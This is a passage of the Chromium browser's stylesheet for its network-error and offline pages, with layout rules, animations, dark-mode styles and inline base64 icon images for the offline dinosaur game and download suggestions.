@media (max-width: 239px) and (orientation: portrait) {
.nav-wrapper {
padding-inline-end: 0;
padding-inline-start: 0;
}
}
</style>
<style>/* Copyright 2013 The Chromium Authors
* Use of this source code is governed by a BSD-style license that can be
* found in the LICENSE file. */
/* Don't use the main frame div when the error is in a subframe. */
html[subframe] #main-frame-error {
display: none;
}
/* Don't use the subframe error div when the error is in a main frame. */
html:not([subframe]) #sub-frame-error {
display: none;
}
h1 {
margin-top: 0;
word-wrap: break-word;
}
h1 span {
font-weight: 500;
}
a {
text-decoration: none;
}
.icon {
-webkit-user-select: none;
display: inline-block;
}
.icon-generic {
/* Can't access chrome://theme/IDR_ERROR_NETWORK_GENERIC from an untrusted
* renderer process, so embed the resource manually. */
content: -webkit-image-set(
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEgAAABIAQMAAABvIyEEAAAABlBMVEUAAABTU1OoaSf/AAAAAXRSTlMAQObYZgAAAENJREFUeF7tzbEJACEQRNGBLeAasBCza2lLEGx0CxFGG9hBMDDxRy/72O9FMnIFapGylsu1fgoBdkXfUHLrQgdfrlJN1BdYBjQQm3UAAAAASUVORK5CYII=) 1x,
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAJAAAACQAQMAAADdiHD7AAAABlBMVEUAAABTU1OoaSf/AAAAAXRSTlMAQObYZgAAAFJJREFUeF7t0cENgDAMQ9FwYgxG6WjpaIzCCAxQxVggFuDiCvlLOeRdHR9yzjncHVoq3npu+wQUrUuJHylSTmBaespJyJQoObUeyxDQb3bEm5Au81c0pSCD8HYAAAAASUVORK5CYII=) 2x);
}
.icon-offline {
content: -webkit-image-set(
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEgAAABIAQMAAABvIyEEAAAABlBMVEUAAABTU1OoaSf/AAAAAXRSTlMAQObYZgAAAGxJREFUeF7tyMEJwkAQRuFf5ipMKxYQiJ3Z2nSwrWwBA0+DQZcdxEOueaePp9+dQZFB7GpUcURSVU66yVNFj6LFICatThZB6r/ko/pbRpUgilY0Cbw5sNmb9txGXUKyuH7eV25x39DtJXUNPQGJtWFV+BT/QAAAAABJRU5ErkJggg==) 1x,
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAJAAAACQBAMAAAAVaP+LAAAAGFBMVEUAAABTU1NNTU1TU1NPT09SUlJSUlJTU1O8B7DEAAAAB3RSTlMAoArVKvVgBuEdKgAAAJ1JREFUeF7t1TEOwyAMQNG0Q6/UE+RMXD9d/tC6womIFSL9P+MnAYOXeTIzMzMzMzMzaz8J9Ri6HoITmuHXhISE8nEh9yxDh55aCEUoTGbbQwjqHwIkRAEiIaG0+0AA9VBMaE89Rogeoww936MQrWdBr4GN/z0IAdQ6nQ/FIpRXDwHcA+JIJcQowQAlFUA0MfQpXLlVQfkzR4igS6ENjknm/wiaGhsAAAAASUVORK5CYII=) 2x);
position: relative;
}
.icon-disabled {
content: -webkit-image-set(
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAHAAAABICAMAAAAZF4G5AAAABlBMVEVMaXFTU1OXUj8tAAAAAXRSTlMAQObYZgAAASZJREFUeAHd11Fq7jAMRGGf/W/6PoWB67YMqv5DybwG/CFjRuR8JBw3+ByiRjgV9W/TJ31P0tBfC6+cj1haUFXKHmVJo5wP98WwQ0ZCbfUc6LQ6VuUBz31ikADkLMkDrfUC4rR6QGW+gF6rx7NaHWCj1Y/W6lf4L7utvgBSt3rBFSS/XBMPUILcJINHCBWYUfpWn4NBi1ZfudIc3rf6/NGEvEA+AsYTJozmXemjXeLZAov+mnkN2HfzXpMSVQDnGw++57qNJ4D1xitA2sJ+VAWMygSEaYf2mYPTjZfk2K8wmP7HLIH5Mg4/pP+PEcDzUvDMvYbs/2NWwPO5vBdMZE4EE5UTQLiBFDaUlTDPBRoJ9HdAYIkIo06og3BNXtCzy7zA1aXk5x+tJARq63eAygAAAABJRU5ErkJggg==) 1x,
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAOAAAACQAQMAAAArwfVjAAAABlBMVEVMaXFTU1OXUj8tAAAAAXRSTlMAQObYZgAAAYdJREFUeF7F1EFqwzAUBNARAmVj0FZe5QoBH6BX+dn4GlY2PYNzGx/A0CvkCIJuvIraKJKbgBvzf2g62weDGD7CYggpfFReis4J0ey9EGFIiEQQojFSlA9kSIiqd0KkFjKsewgRbStEN19mxUPTtmW9HQ/h6tyqNQ8NlSMZdzyE6qkoE0trVYGFm0n1WYeBhduzwbwBC7voS+vIxfeMjeaiLxsMMtQNwMPtuew+DjzcTHk8YMfDknEcIUOtf2lVfgVH3K4Xv5PRYAXRVMtItIJ3rfaCIVn9DsTH2NxisAVRex2Hh3hX+/mRUR08bAwPEYsI51ZxWH4Q0SpicQRXeyEaIug48FEdegARfMz/tADVsRciwTAxW308ehmC2gLraC+YCbV3QoTZexa+zegAEW5PhhgYfmbvJgcRqngGByOSXdFJcLk2JeDPEN0kxe1JhIt5FiFA+w+ItMELsUyPF2IaJ4aILqb4FbxPwhImwj6JauKgDUCYaxmYIsd4KXdMjIC9ItB5Bn4BNRwsG0XM2nwAAAAASUVORK5CYII=) 2x);
width: 112px;
}
.hidden {
display: none;
}
#suggestions-list a {
color: var(--google-blue-600);
}
#suggestions-list p {
margin-block-end: 0;
}
#suggestions-list ul {
margin-top: 0;
}
.single-suggestion {
list-style-type: none;
padding-inline-start: 0;
}
#error-information-button {
content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBmaWxsPSJub25lIiBkPSJNMCAwaDI0djI0SDB6Ii8+PHBhdGggZD0iTTExIDE4aDJ2LTJoLTJ2MnptMS0xNkM2LjQ4IDIgMiA2LjQ4IDIgMTJzNC40OCAxMCAxMCAxMCAxMC00LjQ4IDEwLTEwUzE3LjUyIDIgMTIgMnptMCAxOGMtNC40MSAwLTgtMy41OS04LThzMy41OS04IDgtOCA4IDMuNTkgOCA4LTMuNTkgOC04IDh6bTAtMTRjLTIuMjEgMC00IDEuNzktNCA0aDJjMC0xLjEuOS0yIDItMnMyIC45IDIgMmMwIDItMyAxLjc1LTMgNWgyYzAtMi4yNSAzLTIuNSAzLTUgMC0yLjIxLTEuNzktNC00LTR6Ii8+PC9zdmc+);
height: 24px;
vertical-align: -.15em;
width: 24px;
}
.use-popup-container#error-information-popup-container
#error-information-popup {
align-items: center;
background-color: var(--popup-container-background-color);
display: flex;
height: 100%;
left: 0;
position: fixed;
top: 0;
width: 100%;
z-index: 100;
}
.use-popup-container#error-information-popup-container
#error-information-popup-content > p {
margin-bottom: 11px;
margin-inline-start: 20px;
}
.use-popup-container#error-information-popup-container #suggestions-list ul {
margin-inline-start: 15px;
}
.use-popup-container#error-information-popup-container
#error-information-popup-box {
background-color: var(--background-color);
left: 5%;
padding-bottom: 15px;
padding-top: 15px;
position: fixed;
width: 90%;
z-index: 101;
}
.use-popup-container#error-information-popup-container div.error-code {
margin-inline-start: 20px;
}
.use-popup-container#error-information-popup-container #suggestions-list p {
margin-inline-start: 20px;
}
:not(.use-popup-container)#error-information-popup-container
#error-information-popup-close {
display: none;
}
#error-information-popup-close {
margin-bottom: 0;
margin-inline-end: 35px;
margin-top: 15px;
text-align: end;
}
.link-button {
color: rgb(66, 133, 244);
display: inline-block;
font-weight: bold;
text-transform: uppercase;
}
#sub-frame-error-details {
color: #8F8F8F;
/* Not done on mobile for performance reasons. */
text-shadow: 0 1px 0 rgba(255,255,255,0.3);
}
[jscontent=hostName],
[jscontent=failedUrl] {
overflow-wrap: break-word;
}
.secondary-button {
background: #d9d9d9;
color: #696969;
margin-inline-end: 16px;
}
.snackbar {
background: #323232;
border-radius: 2px;
bottom: 24px;
box-sizing: border-box;
color: #fff;
font-size: .87em;
left: 24px;
max-width: 568px;
min-width: 288px;
opacity: 0;
padding: 16px 24px 12px;
position: fixed;
transform: translateY(90px);
will-change: opacity, transform;
z-index: 999;
}
.snackbar-show {
-webkit-animation:
show-snackbar 250ms cubic-bezier(0, 0, 0.2, 1) forwards,
hide-snackbar 250ms cubic-bezier(0.4, 0, 1, 1) forwards 5s;
}
@-webkit-keyframes show-snackbar {
100% {
opacity: 1;
transform: translateY(0);
}
}
@-webkit-keyframes hide-snackbar {
0% {
opacity: 1;
transform: translateY(0);
}
100% {
opacity: 0;
transform: translateY(90px);
}
}
.suggestions {
margin-top: 18px;
}
.suggestion-header {
font-weight: bold;
margin-bottom: 4px;
}
.suggestion-body {
color: #777;
}
/* Decrease padding at low sizes. */
@media (max-width: 640px), (max-height: 640px) {
h1 {
margin: 0 0 15px;
}
.suggestions {
margin-top: 10px;
}
.suggestion-header {
margin-bottom: 0;
}
}
#download-link,
#download-link-clicked {
margin-bottom: 30px;
margin-top: 30px;
}
#download-link-clicked {
color: #BBB;
}
#download-link::before,
#download-link-clicked::before {
content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxLjJlbSIgaGVpZ2h0PSIxLjJlbSIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNNSAyMGgxNHYtMkg1bTE0LTloLTRWM0g5djZINWw3IDcgNy03eiIgZmlsbD0iIzQyODVGNCIvPjwvc3ZnPg==);
display: inline-block;
margin-inline-end: 4px;
vertical-align: -webkit-baseline-middle;
}
#download-link-clicked::before {
opacity: 0;
width: 0;
}
#offline-content-list-visibility-card {
border: 1px solid white;
border-radius: 8px;
display: flex;
font-size: .8em;
justify-content: space-between;
line-height: 1;
}
#offline-content-list.list-hidden #offline-content-list-visibility-card {
border-color: rgb(218, 220, 224);
}
#offline-content-list-visibility-card > div {
padding: 1em;
}
#offline-content-list-title {
color: var(--google-gray-700);
}
#offline-content-list-show-text,
#offline-content-list-hide-text {
color: rgb(66, 133, 244);
}
/* Hides the "hide" text div when the offline content list is collapsed/hidden
* and, alternatively, hides the "show" text div when the offline content list
* is expanded/shown.
*/
#offline-content-list.list-hidden #offline-content-list-hide-text,
#offline-content-list:not(.list-hidden) #offline-content-list-show-text {
display: none;
}
/* Controls the animation of the offline content list when it is expanded/shown.
*/
#offline-content-suggestions {
/* Max-height has to be set for the height animation to work. The chosen value
* is a little greater than the maximum height the list will have, when all
* suggestions have images, so that it is never clamped. This makes so that
* when the actual height is smaller then the animation is not as smooth.
*/
max-height: 27em;
transition: max-height 200ms ease-in, visibility 0s 200ms,
opacity 200ms 200ms linear;
}
/* Controls the animation of the offline content list when it is
* collapsed/hidden.
*/
#offline-content-list.list-hidden #offline-content-suggestions {
max-height: 0;
opacity: 0;
transition: opacity 200ms linear, visibility 0s 200ms,
max-height 200ms 200ms ease-out;
visibility: hidden;
}
#offline-content-list {
margin-inline-start: -5%;
width: 110%;
}
/* The selectors below adjust the "overflow" of the suggestion cards contents
* based on the same screen size based strategy used for the main frame, which
* is applied by the `interstitial-wrapper` class. */
@media (max-width: 420px) {
#offline-content-list {
margin-inline-start: -2.5%;
width: 105%;
}
}
@media (max-width: 420px) and (orientation: portrait),
(max-height: 560px) {
#offline-content-list {
margin-inline-start: -12px;
width: calc(100% + 24px);
}
}
.suggestion-with-image .offline-content-suggestion-thumbnail {
flex-basis: 8.2em;
flex-shrink: 0;
}
.suggestion-with-image .offline-content-suggestion-thumbnail > img {
height: 100%;
width: 100%;
}
.suggestion-with-image #offline-content-list:not(.is-rtl)
.offline-content-suggestion-thumbnail > img {
border-bottom-right-radius: 7px;
border-top-right-radius: 7px;
}
.suggestion-with-image #offline-content-list.is-rtl
.offline-content-suggestion-thumbnail > img {
border-bottom-left-radius: 7px;
border-top-left-radius: 7px;
}
.suggestion-with-icon .offline-content-suggestion-thumbnail {
align-items: center;
display: flex;
justify-content: center;
min-height: 4.2em;
min-width: 4.2em;
}
.suggestion-with-icon .offline-content-suggestion-thumbnail > div {
align-items: center;
background-color: rgb(241, 243, 244);
border-radius: 50%;
display: flex;
height: 2.3em;
justify-content: center;
width: 2.3em;
}
.suggestion-with-icon .offline-content-suggestion-thumbnail > div > img {
height: 1.45em;
width: 1.45em;
}
.offline-content-suggestion-favicon {
height: 1em;
margin-inline-end: 0.4em;
width: 1.4em;
}
.offline-content-suggestion-favicon > img {
height: 1.4em;
width: 1.4em;
}
.no-favicon .offline-content-suggestion-favicon {
display: none;
}
.image-video {
content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNMTcgMTAuNVY3YTEgMSAwIDAgMC0xLTFINGExIDEgMCAwIDAtMSAxdjEwYTEgMSAwIDAgMCAxIDFoMTJhMSAxIDAgMCAwIDEtMXYtMy41bDQgNHYtMTFsLTQgNHoiIGZpbGw9IiMzQzQwNDMiLz48L3N2Zz4=);
}
.image-music-note {
content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNMTIgM3Y5LjI2Yy0uNS0uMTctMS0uMjYtMS41LS4yNkM4IDEyIDYgMTQgNiAxNi41UzggMjEgMTAuNSAyMXM0LjUtMiA0LjUtNC41VjZoNFYzaC03eiIgZmlsbD0iIzNDNDA0MyIvPjwvc3ZnPg==);
}
.image-earth {
content: url(data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjQiIGhlaWdodD0iMjQiIHZpZXdCb3g9IjAgMCAyNCAyNCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMTIgMmM1LjUyIDAgMTAgNC40OCAxMCAxMHMtNC40OCAxMC0xMCAxMFMyIDE3LjUyIDIgMTIgNi40OCAyIDEyIDJ6TTQgMTJoNC40YzMuNDA3LjAyMiA0LjkyMiAxLjczIDQuNTQzIDUuMTI3SDkuNDg4djIuNDdhOC4wMDQgOC4wMDQgMCAwIDAgMTAuNDk4LTguMDgzQzE5LjMyNyAxMi41MDQgMTguMzMyIDEzIDE3IDEzYy0yLjEzNyAwLTMuMjA2LS45MTYtMy4yMDYtMi43NWgtMy43NDhjLS4yNzQtMi43MjguNjgzLTQuMDkyIDIuODctNC4wOTIgMC0uOTc1LjMyNy0xLjU5Ny44MTEtMS45N0E4LjAwNCA4LjAwNCAwIDAgMCA0IDEyeiIgZmlsbD0iIzNDNDA0MyIvPjwvc3ZnPg==);
}
.image-file {
content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNMTMgOVYzLjVMMTguNSA5TTYgMmMtMS4xMSAwLTIgLjg5LTIgMnYxNmEyIDIgMCAwIDAgMiAyaDEyYTIgMiAwIDAgMCAyLTJWOGwtNi02SDZ6IiBmaWxsPSIjM0M0MDQzIi8+PC9zdmc+);
}
.offline-content-suggestion-texts {
display: flex;
flex-direction: column;
justify-content: space-between;
line-height: 1.3;
padding: .9em;
width: 100%;
}
.offline-content-suggestion-title {
-webkit-box-orient: vertical;
-webkit-line-clamp: 3;
color: rgb(32, 33, 36);
display: -webkit-box;
font-size: 1.1em;
overflow: hidden;
text-overflow: ellipsis;
}
div.offline-content-suggestion {
align-items: stretch;
border: 1px solid rgb(218, 220, 224);
border-radius: 8px;
display: flex;
justify-content: space-between;
margin-bottom: .8em;
}
.suggestion-with-image {
flex-direction: row;
height: 8.2em;
max-height: 8.2em;
}
.suggestion-with-icon {
flex-direction: row-reverse;
height: 4.2em;
max-height: 4.2em;
}
.suggestion-with-icon .offline-content-suggestion-title {
-webkit-line-clamp: 1;
word-break: break-all;
}
.suggestion-with-icon .offline-content-suggestion-texts {
padding-inline-start: 0;
}
.offline-content-suggestion-attribution-freshness {
color: rgb(95, 99, 104);
display: flex;
font-size: .8em;
line-height: 1.7em;
}
.offline-content-suggestion-attribution {
-webkit-box-orient: vertical;
-webkit-line-clamp: 1;
display: -webkit-box;
flex-shrink: 1;
margin-inline-end: 0.3em;
overflow: hidden;
overflow-wrap: break-word;
text-overflow: ellipsis;
word-break: break-all;
}
.no-attribution .offline-content-suggestion-attribution {
display: none;
}
.offline-content-suggestion-freshness::before {
content: '-';
display: inline-block;
flex-shrink: 0;
margin-inline-end: .1em;
margin-inline-start: .1em;
}
.no-attribution .offline-content-suggestion-freshness::before {
display: none;
}
.offline-content-suggestion-freshness {
flex-shrink: 0;
}
.suggestion-with-image .offline-content-suggestion-pin-spacer {
flex-grow: 100;
flex-shrink: 1;
}
.suggestion-with-image .offline-content-suggestion-pin {
content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2aWV3Qm94PSIwIDAgMjQgMjQiIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCI+PGRlZnM+PHBhdGggaWQ9ImEiIGQ9Ik0wIDBoMjR2MjRIMFYweiIvPjwvZGVmcz48Y2xpcFBhdGggaWQ9ImIiPjx1c2UgeGxpbms6aHJlZj0iI2EiIG92ZXJmbG93PSJ2aXNpYmxlIi8+PC9jbGlwUGF0aD48cGF0aCBjbGlwLXBhdGg9InVybCgjYikiIGQ9Ik0xMiAyQzYuNSAyIDIgNi41IDIgMTJzNC41IDEwIDEwIDEwIDEwLTQuNSAxMC0xMFMxNy41IDIgMTIgMnptNSAxNkg3di0yaDEwdjJ6bS02LjctNEw3IDEwLjdsMS40LTEuNCAxLjkgMS45IDUuMy01LjNMMTcgNy4zIDEwLjMgMTR6IiBmaWxsPSIjOUFBMEE2Ii8+PC9zdmc+);
flex-shrink: 0;
height: 1.4em;
margin-inline-start: .4em;
width: 1.4em;
}
/* Controls the animation (and a bit more) of the launch-downloads-home action
* button when the offline content list is expanded/shown.
*/
#offline-content-list-action {
text-align: center;
transition: visibility 0s 200ms, opacity 200ms 200ms linear;
}
/* Controls the animation of the launch-downloads-home action button when the
* offline content list is collapsed/hidden.
*/
#offline-content-list.list-hidden #offline-content-list-action {
opacity: 0;
transition: opacity 200ms linear, visibility 0s 200ms;
visibility: hidden;
}
#cancel-save-page-button {
background-image: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyNCAyNCIgd2lkdGg9IjI0IiBoZWlnaHQ9IjI0Ij48Y2xpcFBhdGggaWQ9Im1hc2siPjxwYXRoIGQ9Ik0xMiAyQzYuNSAyIDIgNi41IDIgMTJzNC41IDEwIDEwIDEwIDEwLTQuNSAxMC0xMFMxNy41IDIgMTIgMnptNSAxNkg3di0yaDEwdjJ6bS02LjctNEw3IDEwLjdsMS40LTEuNCAxLjkgMS45IDUuMy01LjNMMTcgNy4zIDEwLjMgMTR6IiBmaWxsPSIjOUFBMEE2Ii8+PC9jbGlwUGF0aD48cGF0aCBjbGlwLXBhdGg9InVybCgjbWFzaykiIGZpbGw9IiM5QUEwQTYiIGQ9Ik0wIDBoMjR2MjRIMHoiLz48cGF0aCBjbGlwLXBhdGg9InVybCgjbWFzaykiIGZpbGw9IiMxQTczRTgiIHN0eWxlPSJhbmltYXRpb246b2ZmbGluZUFuaW1hdGlvbiA0cyBpbmZpbml0ZSIgZD0iTTAgMGgyNHYyNEgweiIvPjxzdHlsZT5Aa2V5ZnJhbWVzIG9mZmxpbmVBbmltYXRpb257MCUsMzUle2hlaWdodDowfTYwJXtoZWlnaHQ6MTAwJX05MCV7ZmlsbC1vcGFjaXR5OjF9dG97ZmlsbC1vcGFjaXR5OjB9fTwvc3R5bGU+PC9zdmc+);
background-position: right 27px center;
background-repeat: no-repeat;
border: 1px solid var(--google-gray-300);
border-radius: 5px;
color: var(--google-gray-700);
margin-bottom: 26px;
padding-bottom: 16px;
padding-inline-end: 88px;
padding-inline-start: 16px;
padding-top: 16px;
text-align: start;
}
html[dir='rtl'] #cancel-save-page-button {
background-position: left 27px center;
}
#save-page-for-later-button {
display: flex;
justify-content: start;
}
#save-page-for-later-button a::before {
content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxLjJlbSIgaGVpZ2h0PSIxLjJlbSIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNNSAyMGgxNHYtMkg1bTE0LTloLTRWM0g5djZINWw3IDcgNy03eiIgZmlsbD0iIzQyODVGNCIvPjwvc3ZnPg==);
display: inline-block;
margin-inline-end: 4px;
vertical-align: -webkit-baseline-middle;
}
.hidden#save-page-for-later-button {
display: none;
}
/* Don't allow overflow when in a subframe. */
html[subframe] body {
overflow: hidden;
}
#sub-frame-error {
-webkit-align-items: center;
-webkit-flex-flow: column;
-webkit-justify-content: center;
background-color: #DDD;
display: -webkit-flex;
height: 100%;
left: 0;
position: absolute;
text-align: center;
top: 0;
transition: background-color 200ms ease-in-out;
width: 100%;
}
#sub-frame-error:hover {
background-color: #EEE;
}
#sub-frame-error .icon-generic {
margin: 0 0 16px;
}
#sub-frame-error-details {
margin: 0 10px;
text-align: center;
visibility: hidden;
}
/* Show details only when hovering. */
#sub-frame-error:hover #sub-frame-error-details {
visibility: visible;
}
/* If the iframe is too small, always hide the error code. */
/* TODO(mmenke): See if overflow: no-display works better, once supported. */
@media (max-width: 200px), (max-height: 95px) {
#sub-frame-error-details {
display: none;
}
}
/* Adjust icon for small embedded frames in apps. */
@media (max-height: 100px) {
#sub-frame-error .icon-generic {
height: auto;
margin: 0;
padding-top: 0;
width: 25px;
}
}
/* details-button is special; it's a <button> element that looks like a link. */
#details-button {
box-shadow: none;
min-width: 0;
}
/* Styles for platform dependent separation of controls and details button. */
.suggested-left > #control-buttons,
.suggested-right > #details-button {
float: left;
}
.suggested-right > #control-buttons,
.suggested-left > #details-button {
float: right;
}
.suggested-left .secondary-button {
margin-inline-end: 0;
margin-inline-start: 16px;
}
#details-button.singular {
float: none;
}
/* download-button shows both icon and text. */
#download-button {
padding-bottom: 4px;
padding-top: 4px;
position: relative;
}
#download-button::before {
background: -webkit-image-set(
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAQAAABKfvVzAAAAO0lEQVQ4y2NgGArgPxIY1YChsOE/LtBAmpYG0mxpIOSDBpKUo2lpIDZxNJCkHKqlYZAla3RAHQ1DFgAARRroHyLNTwwAAAAASUVORK5CYII=) 1x,
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAQAAAD9CzEMAAAAZElEQVRYw+3Ruw3AMAwDUY3OzZUmRRD4E9iim9wNwAdbEURHyk4AAAAATiCVK8lLyPsKeT9K3lsownnunfkPxO78hKiYHxBV8x2icr5BVM+/CMf8g3DN34Rzns6ViwHUAUQ/6wIAd5Km7l6c8AAAAABJRU5ErkJggg==) 2x)
no-repeat;
content: '';
display: inline-block;
height: 24px;
margin-inline-end: 4px;
margin-inline-start: -4px;
vertical-align: middle;
width: 24px;
}
#download-button:disabled {
background: rgb(180, 206, 249);
color: rgb(255, 255, 255);
}
#buttons::after {
clear: both;
content: '';
display: block;
width: 100%;
}
/* Offline page */
html[dir='rtl'] .runner-container,
html[dir='rtl'].offline .icon-offline {
transform: scaleX(-1);
}
.offline {
transition: filter 1.5s cubic-bezier(0.65, 0.05, 0.36, 1),
background-color 1.5s cubic-bezier(0.65, 0.05, 0.36, 1);
will-change: filter, background-color;
}
.offline body {
transition: background-color 1.5s cubic-bezier(0.65, 0.05, 0.36, 1);
}
.offline #main-message > p {
display: none;
}
.offline.inverted {
background-color: #fff;
filter: invert(1);
}
.offline.inverted body {
background-color: #fff;
}
.offline .interstitial-wrapper {
color: var(--text-color);
font-size: 1em;
line-height: 1.55;
margin: 0 auto;
max-width: 600px;
padding-top: 100px;
position: relative;
width: 100%;
}
.offline .runner-container {
direction: ltr;
height: 150px;
max-width: 600px;
overflow: hidden;
position: absolute;
top: 35px;
width: 44px;
}
.offline .runner-container:focus {
outline: none;
}
.offline .runner-container:focus-visible {
outline: 3px solid var(--google-blue-300);
}
.offline .runner-canvas {
height: 150px;
max-width: 600px;
opacity: 1;
overflow: hidden;
position: absolute;
top: 0;
z-index: 10;
}
.offline .controller {
height: 100vh;
left: 0;
position: absolute;
top: 0;
width: 100vw;
z-index: 9;
}
#offline-resources {
display: none;
}
#offline-instruction {
image-rendering: pixelated;
left: 0;
margin: auto;
position: absolute;
right: 0;
top: 60px;
width: fit-content;
}
.offline-runner-live-region {
bottom: 0;
clip-path: polygon(0 0, 0 0, 0 0);
color: var(--background-color);
display: block;
font-size: xx-small;
overflow: hidden;
position: absolute;
text-align: center;
transition: color 1.5s cubic-bezier(0.65, 0.05, 0.36, 1);
user-select: none;
}
/* Custom toggle */
.slow-speed-option {
align-items: center;
background: var(--google-gray-50);
border-radius: 24px/50%;
bottom: 0;
color: var(--error-code-color);
display: inline-flex;
font-size: 1em;
left: 0;
line-height: 1.1em;
margin: 5px auto;
padding: 2px 12px 3px 20px;
position: absolute;
right: 0;
width: max-content;
z-index: 999;
}
.slow-speed-option.hidden {
display: none;
}
.slow-speed-option [type=checkbox] {
opacity: 0;
pointer-events: none;
position: absolute;
}
.slow-speed-option .slow-speed-toggle {
cursor: pointer;
margin-inline-start: 8px;
padding: 8px 4px;
position: relative;
}
.slow-speed-option [type=checkbox]:disabled ~ .slow-speed-toggle {
cursor: default;
}
.slow-speed-option-label [type=checkbox] {
opacity: 0;
pointer-events: none;
position: absolute;
}
.slow-speed-option .slow-speed-toggle::before,
.slow-speed-option .slow-speed-toggle::after {
content: '';
display: block;
margin: 0 3px;
transition: all 100ms cubic-bezier(0.4, 0, 1, 1);
}
.slow-speed-option .slow-speed-toggle::before {
background: rgb(189,193,198);
border-radius: 0.65em;
height: 0.9em;
width: 2em;
}
.slow-speed-option .slow-speed-toggle::after {
background: #fff;
border-radius: 50%;
box-shadow: 0 1px 3px 0 rgb(0 0 0 / 40%);
height: 1.2em;
position: absolute;
top: 51%;
transform: translate(-20%, -50%);
width: 1.1em;
}
.slow-speed-option [type=checkbox]:focus + .slow-speed-toggle {
box-shadow: 0 0 8px rgb(94, 158, 214);
outline: 1px solid rgb(93, 157, 213);
}
.slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::before {
background: var(--google-blue-600);
opacity: 0.5;
}
.slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::after {
background: var(--google-blue-600);
transform: translate(calc(2em - 90%), -50%);
}
.slow-speed-option [type=checkbox]:checked:disabled +
.slow-speed-toggle::before {
background: rgb(189,193,198);
}
.slow-speed-option [type=checkbox]:checked:disabled +
.slow-speed-toggle::after {
background: var(--google-gray-50);
}
@media (max-width: 420px) {
#download-button {
padding-bottom: 12px;
padding-top: 12px;
}
.suggested-left > #control-buttons,
.suggested-right > #control-buttons {
float: none;
}
.snackbar {
border-radius: 0;
bottom: 0;
left: 0;
width: 100%;
}
}
@media (max-height: 350px) {
h1 {
margin: 0 0 15px;
}
.icon-offline {
margin: 0 0 10px;
}
.interstitial-wrapper {
margin-top: 5%;
}
.nav-wrapper {
margin-top: 30px;
}
}
@media (min-width: 420px) and (max-width: 736px) and
(min-height: 240px) and (max-height: 420px) and
(orientation:landscape) {
.interstitial-wrapper {
margin-bottom: 100px;
}
}
@media (max-width: 360px) and (max-height: 480px) {
.offline .interstitial-wrapper {
padding-top: 60px;
}
.offline .runner-container {
top: 8px;
}
}
@media (min-height: 240px) and (orientation: landscape) {
.offline .interstitial-wrapper {
margin-bottom: 90px;
}
.icon-offline {
margin-bottom: 20px;
}
}
@media (max-height: 320px) and (orientation: landscape) {
.icon-offline {
margin-bottom: 0;
}
.offline .runner-container {
top: 10px;
}
}
@media (max-width: 240px) {
button {
padding-inline-end: 12px;
padding-inline-start: 12px;
}
.interstitial-wrapper {
overflow: inherit;
padding: 0 8px;
}
}
@media (max-width: 120px) {
button {
width: auto;
}
}
.arcade-mode,
.arcade-mode .runner-container,
.arcade-mode .runner-canvas {
image-rendering: pixelated;
max-width: 100%;
overflow: hidden;
}
.arcade-mode #buttons,
.arcade-mode #main-content {
opacity: 0;
overflow: hidden;
}
.arcade-mode .interstitial-wrapper {
height: 100vh;
max-width: 100%;
overflow: hidden;
}
.arcade-mode .runner-container {
left: 0;
margin: auto;
right: 0;
transform-origin: top center;
transition: transform 250ms cubic-bezier(0.4, 0, 1, 1) 400ms;
z-index: 2;
}
@media (prefers-color-scheme: dark) {
.icon {
filter: invert(1);
}
.offline .runner-canvas {
filter: invert(1);
}
.offline.inverted {
background-color: var(--background-color);
filter: invert(0);
}
.offline.inverted body {
background-color: #fff;
}
.offline.inverted .offline-runner-live-region {
color: #fff;
}
#suggestions-list a {
color: var(--link-color);
}
#error-information-button {
filter: invert(0.6);
}
.slow-speed-option {
background: var(--google-gray-800);
color: var(--google-gray-100);
}
.slow-speed-option .slow-speed-toggle::before,
.slow-speed-option [type=checkbox]:checked:disabled +
.slow-speed-toggle::before {
background: rgb(189,193,198);
}
.slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::after,
.slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::before {
